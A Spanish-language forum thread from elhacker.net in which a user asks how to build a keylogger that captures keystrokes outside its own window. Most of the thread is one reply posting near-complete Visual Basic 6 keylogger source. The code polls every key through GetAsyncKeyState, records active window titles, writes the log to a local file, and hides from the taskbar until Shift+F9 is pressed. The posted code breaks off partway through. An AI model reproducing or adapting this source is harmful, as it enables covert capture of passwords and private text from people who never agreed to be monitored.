Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: Shrick en 31 Diciembre 2006, 16:56 pm



Título: Ayuda con una parte del KeyLogger que estoy haciendo
Publicado por: Shrick en 31 Diciembre 2006, 16:56 pm
Hola a todos estoy haciendo un keylogger con fines altamente didacticos, no soy un lamer que va a joder a las personas los odio >:( , he estado probando con el VB, haber como se hace y he llegado a que necesito que me capte las pulsaciones de teclado cuando no esta seleccionado el programa, aquí les dejo algo de code que he creado:

Código:
Option Explicit

Private Sub Form_KeyPress(KeyAscii As Integer)
If KeyAscii >= 0 Then
Label1.Caption = KeyAscii
End If
End Sub

La parte de conexiones no me interesa ya que como he dicho es  para pruebas :P


Título: Re: Ayuda con una parte del KeyLogger que estoy haciendo
Publicado por: Shrick en 31 Diciembre 2006, 22:47 pm
Por favor ayuda... :-(


Título: Re: Ayuda con una parte del KeyLogger que estoy haciendo
Publicado por: ‭lipman en 31 Diciembre 2006, 23:02 pm
Prueba a buscar.

Vete a buscar, selecciona este foro, escribe, keylogger, y en el último aparece un post igual que el tuyo.

Saludos


Título: Re: Ayuda con una parte del KeyLogger que estoy haciendo
Publicado por: Syphroot en 1 Enero 2007, 08:41 am
ya te dijeron que buscaras, y es muy cierto, solo te doy un tip: tienes que utilizar algo de API porque con ese code lo unico que haces es capturar lo que se escribe en el Form y no todo lo que se escribe... busca, ya esta mas que hablado...

saludos


Título: Re: Ayuda con una parte del KeyLogger que estoy haciendo
Publicado por: ~~ en 1 Enero 2007, 19:12 pm
Como han dixo la cosa es buscar... pero weno te ahorro el trabajo q codear un keyloger es muy pesado xDD

Código:
5 CommandButton: Command1 es para iniciar el grabado de teclas. El Command2 es para detenerlo. El command3 para ver el archivo (archivo txt o htm), el Command4 es para eliminarlo y el Command5 para ocultar el formulario (se restaura con Shift+F9)
Un Timer1 con el Interval en 1
2 OptionButton - Option1 y Option2





Option Explicit
'Declaracines Api
'*****************************************************************
'Funciones api para las teclas
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
'Para capturar el Hwnd de la ventana activa
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
'Api que obtiene el tamaño del Caption de la ventana
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long
'Api que obtiene el Caption de la ventana
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
'Variable para almacenar las teclas que se van presionando
Dim StrLog As String
'Para el Apth del archivo log
Dim path As String
'Para ejecutar el archivo log desde el botón VerArchivo
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SW_SHOWNORMAL = 1
Private Const VK_CAPITAL = &H14
'Para el titulo de la ventana activa
Dim strVentanaActiva As String
'Ponemos en Play la grabación de teclas
Private Sub Command1_Click()
Command2.Enabled = True: Command1.Enabled = False
Timer1.Enabled = True
End Sub
'Pausamos la grabción
Private Sub Command2_Click()
Timer1.Enabled = False
Command2.Enabled = False: Command1.Enabled = True
grabarArchivo
End Sub
'Botón para abrir el archivo Log
Private Sub Command3_Click()
Dim Ruta As String
If Option2 Then: generarHTML: Ruta = App.path + "\archivolog.html"
If Option1 Then Ruta = App.path + "\archivolog.txt"
'Abrimos el Html Log
ShellExecute Me.hWnd, vbNullString, Ruta, vbNullString, vbNullString, SW_SHOWNORMAL
End Sub
'Botón para eliminar el Log
Private Sub Command4_Click()
Dim Ruta As String, men As String
If MsgBox("Deseas eliminar el archivoLog?", vbYesNo + vbQuestion, "Elinar archivo") = vbYes Then
Kill App.path + "\archivolog.txt"
End If
End Sub
Private Sub Command5_Click()
App.TaskVisible = False
Me.Visible = False
End Sub
Private Sub Form_Load()
'Ruta del Log
path$ = App.path & "\ArchivoLog.txt"
Open path For Append As #1
Print #1, vbCrLf
Print #1, "*****************************************************************"
Print #1, "[[Inicio del Log]]" & "->Fecha: " & Date & " ->Hora: " & Now
Print #1, "*****************************************************************"
Print #1, vbCrLf
Close
Option1.Caption = "Formato TXT del archivo Log"
Option2.Caption = "Formato Html del archivo Log"
Command1.Caption = "Comenzar"
Command2.Caption = "Pausar"
Command3.Caption = "Ver Log"
Command4.Caption = "Eliminar Log"
Command5.Caption = "Ocultar-Shift+f9 para restaurar"
Option1.Value = True
Command1.Enabled = False
End Sub
Private Sub Form_Unload(Cancel As Integer)
Open path For Append As #1
Print #1, StrLog & vbCrLf
Print #1, "*****************************************************************"
Print #1, "[[Fin del Log]]" & "->Fecha: " & Date & " ->Hora: " & Now
Print #1, "*****************************************************************"
Print #1, vbCrLf
Close
End Sub
Private Sub Timer1_Timer()
Dim EstadoTecla As Long
Dim Shift As Long
'Si cambió el título de la ventana activa
If strVentanaActiva <> ObtenerCaption(GetForegroundWindow) Then
'Llamamos a la función ObtenerCaption y almacenamos en strVentanaActiva el nuevo titulo
strVentanaActiva = ObtenerCaption(GetForegroundWindow)
StrLog$ = StrLog$ & vbCrLf & vbCrLf & Time & "->> Ventana: " & strVentanaActiva & vbCrLf & vbCrLf
End If
Shift = GetAsyncKeyState(vbKeyShift)
EstadoTecla = GetAsyncKeyState(vbKeyA)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "A"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "a"
End If
EstadoTecla = GetAsyncKeyState(vbKeyB)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "B"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "b"
End If
EstadoTecla = GetAsyncKeyState(vbKeyC)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "C"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "c"
End If
EstadoTecla = GetAsyncKeyState(vbKeyD)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "D"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "d"
End If
EstadoTecla = GetAsyncKeyState(vbKeyE)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "E"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "e"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "F"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "f"
End If
EstadoTecla = GetAsyncKeyState(vbKeyG)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "G"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "g"
End If
EstadoTecla = GetAsyncKeyState(vbKeyH)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "H"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "h"
End If
EstadoTecla = GetAsyncKeyState(vbKeyI)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "I"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "i"
End If
EstadoTecla = GetAsyncKeyState(vbKeyJ)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "J"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "j"
End If
EstadoTecla = GetAsyncKeyState(vbKeyK)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "K"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "k"
End If
EstadoTecla = GetAsyncKeyState(vbKeyL)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "L"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "l"
End If
EstadoTecla = GetAsyncKeyState(vbKeyM)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "M"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "m"
End If
EstadoTecla = GetAsyncKeyState(vbKeyN)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "N"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "n"
End If
EstadoTecla = GetAsyncKeyState(vbKeyO)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "O"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "o"
End If
EstadoTecla = GetAsyncKeyState(vbKeyP)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "P"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "p"
End If
EstadoTecla = GetAsyncKeyState(vbKeyQ)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "Q"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "q"
End If
EstadoTecla = GetAsyncKeyState(vbKeyR)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "R"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "r"
End If
EstadoTecla = GetAsyncKeyState(vbKeyS)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "S"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "s"
End If
EstadoTecla = GetAsyncKeyState(vbKeyT)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "T"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "t"
End If
EstadoTecla = GetAsyncKeyState(vbKeyU)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "U"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "u"
End If
EstadoTecla = GetAsyncKeyState(vbKeyV)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "V"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "v"
End If
EstadoTecla = GetAsyncKeyState(vbKeyW)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "W"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "w"
End If
EstadoTecla = GetAsyncKeyState(vbKeyX)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "X"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "x"
End If
EstadoTecla = GetAsyncKeyState(vbKeyY)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "Y"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "y"
End If
EstadoTecla = GetAsyncKeyState(vbKeyZ)
If (CAPSLOCKON = True And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "Z"
End If
If (CAPSLOCKON = False And Shift = 0 And (EstadoTecla And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (EstadoTecla And &H1) = &H1) Then
StrLog$ = StrLog$ + "z"
End If
EstadoTecla = GetAsyncKeyState(vbKey1)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "1"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "!"
End If
EstadoTecla = GetAsyncKeyState(vbKey2)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "2"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "@"
End If
EstadoTecla = GetAsyncKeyState(vbKey3)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "3"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "#"
End If
EstadoTecla = GetAsyncKeyState(vbKey4)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "4"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "$"
End If
EstadoTecla = GetAsyncKeyState(vbKey5)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "5"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "%"
End If
EstadoTecla = GetAsyncKeyState(vbKey6)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "6"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "^"
End If
EstadoTecla = GetAsyncKeyState(vbKey7)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "7"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "&"
End If
EstadoTecla = GetAsyncKeyState(vbKey8)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "8"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "*"
End If
EstadoTecla = GetAsyncKeyState(vbKey9)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "9"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "("
End If
EstadoTecla = GetAsyncKeyState(vbKey0)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "0"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + ")"
End If
EstadoTecla = GetAsyncKeyState(vbKeyBack)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{bkspc}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyTab)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{tab}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyReturn)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + vbCrLf
End If
EstadoTecla = GetAsyncKeyState(vbKeyShift)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{shift}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyControl)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{ctrl}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyMenu)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{alt}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyPause)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{pause}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyEscape)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{esc}"
End If
EstadoTecla = GetAsyncKeyState(vbKeySpace)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + " "
End If
EstadoTecla = GetAsyncKeyState(vbKeyEnd)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{end}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyHome)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{home}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyLeft)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{left}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyRight)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{right}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyUp)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{up}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyDown)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{down}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyInsert)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{insert}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyDelete)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{Delete}"
End If
EstadoTecla = GetAsyncKeyState(&HBA)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + ";"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + ":"
End If
EstadoTecla = GetAsyncKeyState(&HBB)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "="
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "+"
End If
EstadoTecla = GetAsyncKeyState(&HBC)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + ","
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "<"
End If
EstadoTecla = GetAsyncKeyState(&HBD)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "-"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "_"
End If
EstadoTecla = GetAsyncKeyState(&HBE)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "."
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + ">"
End If
EstadoTecla = GetAsyncKeyState(&HBF)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "/"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "?"
End If
EstadoTecla = GetAsyncKeyState(&HC0)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "`"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "~"
End If
EstadoTecla = GetAsyncKeyState(&HDB)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "["
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{"
End If
EstadoTecla = GetAsyncKeyState(&HDC)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "\"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "|"
End If
EstadoTecla = GetAsyncKeyState(&HDD)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "]"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "}"
End If
EstadoTecla = GetAsyncKeyState(&HDE)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "'"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + Chr$(34)
End If
EstadoTecla = GetAsyncKeyState(vbKeyMultiply)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "*"
End If
EstadoTecla = GetAsyncKeyState(vbKeyDivide)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "/"
End If
EstadoTecla = GetAsyncKeyState(vbKeyAdd)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "+"
End If
EstadoTecla = GetAsyncKeyState(vbKeySubtract)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "-"
End If
EstadoTecla = GetAsyncKeyState(vbKeyDecimal)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{Del}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF1)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F1}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF2)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F2}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF3)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F3}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF4)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F4}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF5)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F5}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF6)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F6}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF7)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F7}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF8)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F8}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF9)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F9}"
End If
If Shift <> 0 And (EstadoTecla And &H1) = &H1 Then
Form1.Visible = True
End If
EstadoTecla = GetAsyncKeyState(vbKeyF10)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F10}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF11)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F11}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyF12)
If Shift = 0 And (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{F12}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumlock)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{NumLock}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyScrollLock)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{ScrollLock}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyPrint)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{PrintScreen}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyPageUp)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{PageUp}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyPageDown)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "{Pagedown}"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad1)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "1"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad2)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "2"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad3)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "3"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad4)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "4"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad5)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "5"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad6)
